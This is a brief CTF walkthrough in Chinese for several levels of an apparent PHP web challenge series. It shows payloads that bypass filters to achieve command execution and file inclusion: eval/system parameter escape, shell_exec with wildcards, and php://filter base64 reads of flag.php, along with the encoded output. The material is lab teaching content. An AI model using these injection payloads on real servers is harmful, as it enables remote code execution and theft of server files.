web 29
過濾掉了flag關鍵字
讓我們先來看看都有什麼檔案
很明顯flag應該就在flag.php檔案中,但是本題過濾掉了flag,那我們就用萬用字元
web 30
這道題相比上一道過濾的就比較多了
可以用shell_exec這個函式來代替system,再搭配上萬用字元的使用
命令為:
echo shell_exec('tac fla.ph');
web 31
看到這裡,感覺前兩道題的關鍵語句基本上都有被過濾掉,這裡就要使用另外一個東西了:引數逃逸,構造一個新的引數,而這個新的引數是沒有任何過濾的
eval($_GET[1]);&1=system('tac flag.php');
web 32
這道題比上一道過濾的都還要多的多,可以嘗試對語句進行編碼
同樣這裡也用到了偽協議
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YmE0NTM4ZWMtNGNiMS00ZDlkLWI5Y2YtYzNkODYyZTcxZGFmfSI7DQo
進行解碼就可以了
上一道題的解法引數逃逸,這道題中無法使用因為已經過濾了分號,配合檔案包含和偽協議
web 37
檔案包含語句